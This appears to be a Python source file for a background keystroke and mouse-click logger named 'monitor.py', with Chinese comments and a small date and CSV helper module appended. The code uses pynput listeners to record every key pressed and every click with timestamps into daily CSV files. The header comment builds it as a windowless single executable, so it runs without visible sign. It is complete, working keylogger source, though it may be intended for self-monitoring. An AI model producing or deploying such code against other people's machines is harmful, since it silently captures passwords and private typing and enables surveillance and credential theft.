# pyinstaller -w -F monitor.py
import logging
import time

from pynput import keyboard
from pynput import mouse

import cutil

data_list = []


def add(key) -> None:
    """
    缓存按键操作,一定数量时写入csv
    :param key: 按键名
    :return:
    """
    data_list.append({'time': cutil.now(), 'key': key})
    if len(data_list) > 250:
        cutil.write_csv('monitor_' + cutil.today() + '.csv', data_list)
        data_list.clear()


def on_press(key):
    """定义按下时候的响应,参数传入key"""
    try:
        # logging.info(key.char + ' down')
        add(key.char)
        # print(key.char + 'downaazcxcsd')
    except AttributeError:
        # backspace
        # print('AttributeError ' + key.name)
        add(key.name)
    except Exception as e:
        logging.exception(f"异常:\n{e}")
        # logging.info(key.name + ' down')

    # def on_release(key):
    """定义释放时候的响应"""
    # print(f'{key} up')


# def on_press(key):
#     try:
#         print('alphanumeric key {0} presasdsed'.format(
#             key.char))
#     except AttributeError:
#         print('special key {0} pressecxzcd'.format(
#             key))


# def on_move(x,y):
# print('move to',x,y)

def on_click(x, y, button, pressed):
    """鼠标点击"""
    # print('click at',x,y,button,pressed)
    try:
        if pressed:
            # print('click at',button)
            # logging.info('click at ' + )
            add(str(button))
    except Exception as e:
        logging.exception(f"异常:\n{e}")


# def on_scroll(x,y,dx,dy):
# print('scroll at',x,y,'by',dx,dy)


# 监听键盘
def listen_key_nblock():
    listener = keyboard.Listener(
        on_press=on_press, on_release=None
    )
    listener.start()  # 启动线程


#  监听鼠标
def listen_mouse_nblock():
    listener = mouse.Listener(
        on_move=None,  # 因为on_move太多输出了,就不放进来了,有兴趣可以加入
        on_click=on_click,
        on_scroll=None
    )
    listener.start()


logging.basicConfig(level=logging.INFO, filename='monitor.log', encoding='utf-8')

# 单独运行该模块时才执行,导入其他模块时不执行
if __name__ == '__main__':
    listen_mouse_nblock()
    listen_key_nblock()
    while True:  # 这里应该用一个循环维持主线程,否则主线程结束了子线程就自动结束了ds
        time.sleep(3600)
        # pass
# 常用代码工具类
from datetime import datetime, timedelta


def today() -> str:
    return datetime.today().strftime("%Y-%m-%d")


def yesterday() -> str:
    _yesterday = datetime.today() + timedelta(days=-1)
    return _yesterday.strftime("%Y-%m-%d")


def now() -> str:
    return datetime.now().strftime("%Y-%m-%d %H:%M:%S")


import os
import csv


def write_csv(file_name: str, data: list) -> None:
    exists = os.path.exists(file_name)
    with open(file_name, mode='a+', newline="") as f:
        # 执行open之后就会创建文件
        fc = csv.DictWriter(f, fieldnames=data[0].keys())
        # 不重复写入csv头
        if not exists:
            fc.writeheader()
        fc.writerows(data)